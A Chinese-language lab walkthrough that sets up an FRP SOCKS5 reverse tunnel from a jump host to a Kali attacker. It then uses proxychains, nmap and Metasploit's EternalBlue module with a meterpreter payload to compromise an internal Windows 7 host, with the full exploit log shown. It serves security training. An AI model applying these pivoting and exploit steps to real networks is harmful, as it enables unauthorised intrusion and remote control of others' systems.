目录

一、FRP原理

1、角色

2、使用方法

3、反向代理

(1)服务端

(2)客户端

二、渗透实战之反向代理配置

1、攻击机配置FRP管理端

(1)NAT配置

(2)攻击机配置

2、跳板机配置FRP客户端

(1)全局设置(客户端与服务器的连接配置)

(2)代理规则([socks5]段落,定义 SOCKS5 代理映射)

3、攻击机配置socks代理

三、攻击机进行永恒之蓝渗透实战

1、永恒之蓝探测

2、MSF渗透实战

(1)msfconsole

(2)搜索MS17-010

(3)MS17-010探测

① use 3

② set RHOST 172.16.100.33

③ run

(4)渗透实战配置

(5)show配置选项

(6)漏洞利用

(7)渗透成功


本文实现使用反向代理进行内网服务器的永恒之蓝渗透实战,实验过程与拓扑如下所示。

  • 1. 在攻击机Kali中配置服务端frps.exe
  • 2. 在跳板机target1中配置客户端frpc.exe
  • 3. 在攻击机中配置proxychains,使用永恒之蓝漏洞攻击`内网靶机target2`

一、FRP原理

FRP(Fast Reverse Proxy)是一款开源的高性能反向代理工具,主要用于解决内网服务暴露到公网的问题,支持 TCP、UDP、HTTP、HTTPS 等多种协议,广泛应用于远程访问内网设备、穿透防火墙限制等场景。

1、角色

FRP 采用C/S 架构(客户端 - 服务器架构),包含两个核心程序:

  • FRP 服务器(frps)

    • 部署在具有公网 IP 的服务器(如 VPS、云服务器)上,负责接收来自客户端的连接和外部用户的访问请求。
    • 监听公开的端口(如默认的 7000 端口用于客户端通信,80/443 端口用于 HTTP/HTTPS 服务)。
  • FRP 客户端(frpc)

    • 部署在内网设备(如需要被访问的内网服务器)上,负责连接 FRP 服务器,并将内网服务的端口映射到服务器。
    • 通过配置文件指定需要暴露的内网服务(如本地 80 端口的 Web 服务、3389 端口的远程桌面)。

2、使用方法

 FRP工具(服务端与客户端)的主要参数详解,按角色分类整理为表格形式,如下所示。

程序类型 命令 / 参数 全称 / 说明 作用 示例
服务器端(frps) ./frps FRP 服务器端主程序 启动 FRP 服务器,负责监听连接和转发流量(Linux/macOS) ./frps -c frps.ini
frps.exe FRP 服务器端主程序(Windows) 启动 FRP 服务器(Windows 系统) frps.exe -c frps.ini
-c <path> --config <path> 指定服务器端配置文件路径(核心参数,必选) ./frps -c /etc/frp/frps.ini
-h --help 显示服务器端帮助信息,列出所有参数 ./frps -h
-v --version 显示服务器端版本信息 ./frps -v
--log_file <path> 临时指定日志文件路径 覆盖配置文件中的 log_file 设置,用于临时调试 ./frps -c frps.ini --log_file ./log.txt
--log_level <level> 临时指定日志级别 覆盖配置文件中的 log_level(可选值:debug/info/warn/error) ./frps -c frps.ini --log_level debug
--disable_log_color 禁用日志颜色输出 日志输出不使用彩色显示(适合非终端环境) ./frps -c frps.ini --disable_log_color
--allow_ports <range> 临时指定允许的端口范围 覆盖配置文件中的 allow_ports,限制客户端可绑定的公网端口 ./frps -c frps.ini --allow_ports 2000-3000
客户端(frpc) ./frpc FRP 客户端主程序 启动 FRP 客户端,连接服务器并映射内网服务(Linux/macOS) ./frpc -c frpc.ini
frpc.exe FRP 客户端主程序(Windows) 启动 FRP 客户端(Windows 系统) frpc.exe -c frpc.ini
-c <path> --config <path> 指定客户端配置文件路径(核心参数,必选) ./frpc -c ~/frp/frpc.ini
-h --help 显示客户端帮助信息,列出所有参数 ./frpc -h
-v --version 显示客户端版本信息 ./frpc -v
--log_file <path> 临时指定日志文件路径 覆盖配置文件中的 log_file 设置 ./frpc -c frpc.ini --log_file ./log.txt
--log_level <level> 临时指定日志级别 覆盖配置文件中的 log_level(可选值:debug/info/warn/error) ./frpc -c frpc.ini --log_level debug
--proxy <name> 仅启动指定名称的代理规则 只加载配置文件中 [name] 对应的代理规则(如仅启动 [ssh] 规则) ./frpc -c frpc.ini --proxy ssh
--reload 热重载配置文件 不重启客户端,动态加载配置文件的修改(需服务器支持) ./frpc -c frpc.ini --reload
--status 查看代理规则运行状态 显示当前客户端所有代理规则的连接状态(如是否在线) ./frpc -c frpc.ini --status

3、反向代理

在本次实验中,仅介绍最简单的代理方式配置,FRP 的核心原理是内网服务主动连接公网服务器,公网服务器转发外部请求到内网,突破 NAT 和防火墙限制,实现内网服务的公网访问。

(1)服务端

服务端完整配置文件frps.ini介绍(s代表server):

[common]
# 客户端与服务器通信的端口(必填)
bind_port = 7000

# (可选)仪表盘端口,用于网页查看FRP运行状态
dashboard_port = 7500     #服务端仪表板面板的端口(frp支持Web界面配置和文件配置)
dashboard_user = admin    #仪表板页面登录的用户名
dashboard_pwd = 123456    #仪表板页面登录的密码

# (可选)认证令牌,客户端需匹配才能连接
token = your_token_123    #客户端链接服务端的口令

# (可选)允许客户端绑定的公网端口范围
allow_ports = 2000-3000,3001,3003
vhost_http_port = 8000  #HTTP主机使用的端口
vhost_https_port = 8443 #HTTPS主机使用的端口

# (可选)日志配置
log_file = ./frps.log
log_level = info
log_max_days = 3

FRP 服务器端程序为 frps(Linux/macOS)或 frps.exe(Windows),需部署在具有公网 IP 的服务器上,核心作用是监听连接并转发流量,启动方式如下所示。

# Linux/macOS
./frps -c ./frps.ini

# Windows
frps.exe -c frps.ini
  • -c ./frps.ini:指定服务器端配置文件路径(-c 是 --config 的缩写),所有服务器端规则(如监听端口、认证信息)均通过配置文件定义。

(2)客户端

客户端完整配置文件frpc.ini(c代表client):

[common]
# 服务器端公网IP或域名(必填)
server_addr = <server_ip>        #服务端地址
# 服务器端bind_port(需与frps.ini中的bind_port一致,必填)
server_port = 7000            #服务端监听端口
# 认证令牌(需与frps.ini中的token一致,可选)
token = your_token_123

# 示例1:映射内网SSH服务(TCP协议)
[ssh]
type = tcp
# 内网服务的IP(通常为127.0.0.1,即客户端所在设备)
local_ip = 127.0.0.1
# 内网服务的端口(SSH默认22)
local_port = 22
# 公网服务器暴露的端口(外部通过此端口访问)
remote_port = 6000

# 示例2:映射内网Web服务(HTTP协议)
[web]
type = http
local_ip = 127.0.0.1
local_port = 80
# 外部访问的域名(需解析到服务器公网IP)
custom_domains = test.example.com

FRP 客户端程序为 frpc(Linux/macOS)或 frpc.exe(Windows),部署在内网设备上,负责连接服务器并映射内网服务,启动方式如下所示。

# Linux/macOS
./frpc -c ./frpc.ini

# Windows
frpc.exe -c frpc.ini
  • -c ./frpc.ini:指定客户端配置文件路径,定义需要映射的内网服务、服务器地址等信息。

二、渗透实战之反向代理配置

1、攻击机配置FRP管理端

本部分计划在攻击机启动管理端并监听端口7000等待内网节点连接。

(1)NAT配置

由于我的环境中Kali攻击机装在vmware中,而Kali攻击机使用NAT方式配置,故而需要对Kali进行NAT配置,确保攻击机反向代理可以连接成功(对于直接只用kali作为攻击机的环境可忽略此步骤)。

点击vmware-编辑-虚拟网络编辑器,在弹出的对话框中选中vmnet8模式(如下图1),点击NAT设置(如下图2),在弹出NAT配置对话框中点击添加(如下图3),具体如下图所示。

使用ifconfig查看Kali攻击机的ip地址,本机为192.168.59.128,如下所示。

点击添加后,端口映射主机与虚拟机的端口均配置为7000,其中虚拟机的ip地址配置为kali的ip地址192.168.59.128,配置方法如下所示。

点击确认配置完毕后如下图红框所示,按照顺序点击确定即可配置成功。

(2)攻击机配置

在本地的Kali系统中上传FRP的服务端frps,执行如下命令。

./frps -c frps.ini

其中frps.ini的文件内容如下所示。

[common]
bind_port = 7000

执行命令后效果如下所示,管理端会在本地 7000端口建立 TCP 监听,此时在攻击方控制的 Linux 主机(如 Kali)上搭建一个 frp管理端监听节点,为后续接收内网目标主机的代理端连接、建立反向代理通道、实现内网穿透和远程控制奠定基础。。

2、跳板机配置FRP客户端

在 Linux 系统的跳板机上配置FRP代理端(client)的操作,目的是将跳板机作为中间节点,建立与目标管理端的反向连接,为内网渗透搭建代理通道,命令如下所示。

./frpc -c frpc.ini

其中frpc.ini文件的配置如下所示,在内网客户端(运行 frpc 的设备)上创建一个 SOCKS5 代理服务,通过 FRP 将其映射到公网服务器20.1.0.477777端口。外部用户可通过20.1.0.47:7777使用 SOCKS5 代理,间接访问客户端所在内网的资源

[common]
server_addr = 20.1.0.47
server_port = 7000


[socks5]
type = tcp
remote_port = 7777
plugin = socks5
(1)全局设置(客户端与服务器的连接配置)
  • server_addr = 20.1.0.47

    • 定义 FRP 服务器(frps)的公网 IP 地址(20.1.0.47),客户端(frpc)将主动连接该 IP。
    • 作用:指定客户端要连接的服务器位置,确保客户端能找到公网的 FRP 服务器。
  • server_port = 7000

    • 定义 FRP 服务器监听的端口(7000),需与服务器端配置文件(frps.ini)中的bind_port一致。
    • 作用:客户端通过该端口与服务器建立初始连接,是两者通信的基础端口。
(2)代理规则([socks5]段落,定义 SOCKS5 代理映射)
  • [socks5]

    • 代理规则的名称(自定义标识),用于区分不同的代理服务(如同时配置 SSH、Web 等规则时)。
  • type = tcp

    • 指定代理的协议类型为tcp(SOCKS5 代理基于 TCP 协议工作)。
    • 作用:告诉 FRP 以 TCP 协议转发该规则的流量。
  • remote_port = 7777

    • 指定公网服务器(frps)上开放的端口(7777),外部用户通过该端口访问内网的 SOCKS5 代理。
    • 作用:将公网服务器的7777端口与内网的 SOCKS5 服务绑定,作为外部访问的入口。
  • plugin = socks5

    • 启用 FRP 的内置ssocks5插件,无需在内网单独部署 SOCKS5 服务器,由 FRP 客户端直接提供 SOCKS5 代理功能。
    • 作用:简化配置,FRP 客户端会在本地创建一个 SOCKS5 代理服务,并通过 FRP 映射到公网7777端口

执行命令后跳板机上的客户端端会主动向 20.1.0.47:7000 发起连接,如下所示整体显示客户端已成功连接到 FRP 服务器并启动了socks5代理规则。

此时查看服务端,显示已经成功连接。

3、攻击机配置socks代理

使用proxychains做socks5代理,配置/etc/proxychains4.conf文件,具体如下所示。

# 代理类型(socks5、http等)  代理IP   端口
socks5  0.0.0.0  7777
  • socks5:指定代理类型(Stowaway 默认提供 SOCKS5 代理,需与其匹配)。
  • 0.0.0.0:代理服务所在的 IP(本地代理填 127.0.0.1 或 0.0.0.0)

配置 proxychains 使用 0.0.0.0:7777 的核心目的是将本地工具的流量通过指定的代理端口(7777)转发,结合 Stowaway 工具建立的代理通道,实现对目标内网的间接访问,配置效果如下图所示。

三、攻击机进行永恒之蓝渗透实战

1、永恒之蓝探测

通过proxychains nmap --script=vuln 172.16.100.33 命令利用反向代理间接扫描内网目标内网主机172.16.100.33的漏洞,攻击路径如下所示。

本地nmap → proxychains → 代理通道(如7777端口) → 跳板机/代理节点 → 目标172.16.100.33

nmap探测172.16.100.33上运行的服务是否存在已知漏洞的完整命令如下所示。

proxychains nmap --script=vuln 172.16.100.33
  • proxychains

    • proxychains是 Linux 系统中的代理转发工具,作用是强制后续命令(此处为nmap)的网络流量通过预设的代理服务器(如 Stowaway 建立的 SOCKS5 代理)转发。
    • 结合代理的目的:因为目标主机172.16.100.33在内网,本地攻击机无法直接访问,通过已控制的跳板机或代理节点间接扫描目标。
  • nmap:是网络扫描工具,用于探测目标主机的端口开放、服务版本、操作系统等信息,此处主要用于漏洞检测。

  • --script=vuln:nmap的脚本参数,指定加载 “漏洞检测类脚本”(来自 Nmap Scripting Engine,NSE)。

    • 这些脚本会针对目标主机的开放服务,检测已知漏洞(如 Heartbleed、MS17-010、弱口令等),输出潜在可利用的安全缺陷。
  • 172.16.100.33:目标主机的 IP 地址(内网地址,通常位于攻击者无法直接访问的网段,需通过代理间接扫描)。

运行结果如下所示,探测其具有永恒之蓝漏洞,如下所示。

smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-fo                                                                              r-wannacrypt-attacks/
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

2、MSF渗透实战

(1)msfconsole

使用proxychains msfconsole开启msf渗透,效果如下所示。

(2)搜索MS17-010

使用search ms17-010在 Metasploit 框架中搜索与 “MS17-010” 漏洞相关的攻击模块。如下所示,该命令会返回多个模块,其中最常用的是:

  • 0 exploit/windows/smb/ms17_010_eternalblue(永恒之蓝攻击模块,用于主动攻击)
  • 3 auxiliary/scanner/smb/smb_ms17_010(漏洞探测模块,用于检测目标是否存在漏洞)

(3)MS17-010探测

auxiliary/scanner/smb/smb_ms17_010是 Metasploit 中的漏洞探测模块(非攻击模块),专门用于扫描目标主机是否存在 MS17-010 漏洞。它通过向目标 SMB 服务(通常是 445 端口)发送特定探测包,根据响应判断目标是否未安装对应的安全补丁,从而确定是否存在漏洞。

use 3
set RHOST 172.16.100.33
run
① use 3
  • 作用:加载 Metasploit 中编号为3的模块,即auxiliary/scanner/smb/smb_ms17_010(需先通过search ms17-010获取模块列表,3是该模块在列表中的序号)。
  • 模块特性:这是一个辅助扫描模块,仅用于探测漏洞存在性,不会执行攻击或植入恶意代码,相对隐蔽。
  • 目的:激活漏洞探测模块,准备配置扫描参数。
② set RHOST 172.16.100.33
  • set RHOST:设置 “远程主机”(目标主机)的 IP 地址(RHOSTRemote Host的缩写)。
  • 172.16.100.33:目标主机的内网 IP 地址(MS17-010 漏洞主要影响内网主机,因 445 端口在公网通常被防火墙封禁)。
  • 补充:若需扫描多个目标,可使用set RHOSTS 172.16.100.1-254(指定 IP 范围)或set RHOSTS file:/path/ip_list.txt(从文件读取 IP 列表)。
  • 目的:明确扫描目标,让模块向该 IP 发送漏洞探测包。
③ run
  • 作用:执行当前加载的探测模块,启动 MS17-010 漏洞扫描流程。
  • 探测原理
    模块会向目标172.16.100.33的 445 端口发送 SMBv1 协议的探测请求,检查目标是否存在 MS17-010 漏洞相关的特征(如未修补的协议缺陷)。
  • 运行结果如下所示,存在永恒之蓝漏洞。

(4)渗透实战配置

使用use 0加载搜索结果中序号为0的模块,即 exploit/windows/smb/ms17_010_eternalblue(永恒之蓝攻击模块)。这是 Metasploit 中针对 MS17-010 漏洞的核心攻击模块,通过 SMBv1 协议发送恶意 payload,实现远程代码执行。

set payload windows/x64/meterpreter/bind_tcp
set RHOST 172.16.100.33

  • set payload windows/x64/meterpreter/bind_tcp:具体 payload 说明:
    • 设置漏洞利用成功后在目标主机上执行的 “攻击载荷”(恶意代码)。
    • windows/x64:针对 64 位 Windows 系统(若目标是 32 位系统,需改为 windows/meterpreter/...)。
    • meterpreter:Metasploit 的高级交互式后门,支持命令执行、文件操作、屏幕截图等功能。
    • bind_tcp:通信方式,在目标主机上打开一个 TCP 端口等待攻击者连接(适用于目标在内网、攻击者可直接访问目标端口的场景)。
    • 目的:指定攻击成功后获取的控制权类型(Meterpreter 会话)及连接方式。
  • set RHOST 172.16.100.33

    • set RHOST:设置 “远程主机”(目标主机)的 IP 地址。
    • 172.16.100.33:目标主机的内网 IP 地址。

(5)show配置选项

使用show options显示配置,效果如下所示

(6)漏洞利用

使用run执行当前加载的攻击模块,启动漏洞利用流程。特别注意在执行run渗透的过程中,相对于stormway代理经历了多次失败,直到好几次run才成功的情况,frp反向代理渗透成功的概率高很多。

msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[proxychains] DLL init: proxychains-ng 4.15
[proxychains] DLL init: proxychains-ng 4.15

[*] 172.16.100.33:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:135  ...  OK
[+] 172.16.100.33:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 172.16.100.33:445     - Scanned 1 of 1 hosts (100% complete)
[+] 172.16.100.33:445 - The target is vulnerable.
[*] 172.16.100.33:445 - Connecting to target for exploitation.
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[+] 172.16.100.33:445 - Connection established for exploitation.
[+] 172.16.100.33:445 - Target OS selected valid for OS indicated by SMB reply
[*] 172.16.100.33:445 - CORE raw buffer dump (42 bytes)
[*] 172.16.100.33:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 172.16.100.33:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 172.16.100.33:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 172.16.100.33:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 172.16.100.33:445 - Trying exploit with 12 Groom Allocations.
[*] 172.16.100.33:445 - Sending all but last fragment of exploit packet
[*] 172.16.100.33:445 - Starting non-paged pool grooming
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[+] 172.16.100.33:445 - Sending SMBv2 buffers
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[+] 172.16.100.33:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 172.16.100.33:445 - Sending final SMBv2 buffers.
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[*] 172.16.100.33:445 - Sending last fragment of exploit packet!
[*] 172.16.100.33:445 - Receiving response from exploit packet
[+] 172.16.100.33:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 172.16.100.33:445 - Sending egg to corrupted connection.
[*] 172.16.100.33:445 - Triggering free of corrupted buffer.
[*] Started bind TCP handler against 172.16.100.33:4444
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
[-] 172.16.100.33:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 172.16.100.33:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 172.16.100.33:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] 172.16.100.33:445 - Connecting to target for exploitation.
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445 [proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444  ...  OK
<--socket error or timeout!
[+] 172.16.100.33:445 - Connection established for exploitation.
[+] 172.16.100.33:445 - Target OS selected valid for OS indicated by SMB reply
[*] 172.16.100.33:445 - CORE raw buffer dump (42 bytes)
[*] 172.16.100.33:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 172.16.100.33:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 172.16.100.33:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 172.16.100.33:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 172.16.100.33:445 - Trying exploit with 17 Groom Allocations.
[*] 172.16.100.33:445 - Sending all but last fragment of exploit packet
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!

[*] 172.16.100.33:445 - Starting non-paged pool grooming
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445 [proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444  ...  OK
<--socket error or timeout!
[+] 172.16.100.33:445 - Sending SMBv2 buffers
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445 [proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 <--socket error or timeout!
 ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445 [proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445 <--socket error or timeout!
 ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445 [proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445 <--socket error or timeout!
 ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444 [+] 172.16.100.33:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 172.16.100.33:445 - Sending final SMBv2 buffers.
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445 <--socket error or timeout!
 ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445 [proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:445 <--socket error or timeout!
 ...  OK
[*] 172.16.100.33:445 - Sending last fragment of exploit packet!
[*] 172.16.100.33:445 - Receiving response from exploit packet
[+] 172.16.100.33:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 172.16.100.33:445 - Sending egg to corrupted connection.
[*] 172.16.100.33:445 - Triggering free of corrupted buffer.
[proxychains] Strict chain  ...  0.0.0.0:7777  ...  172.16.100.33:4444  ...  OK
[*] Sending stage (200262 bytes) to 172.16.100.33
[proxychains] DLL init: proxychains-ng 4.15
[*] Meterpreter session 1 opened (127.0.0.1:47404 -> 127.0.0.1:7777 ) at 2025-08-11 11:58:23 -0400
[+] 172.16.100.33:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 172.16.100.33:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 172.16.100.33:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

(7)渗透成功

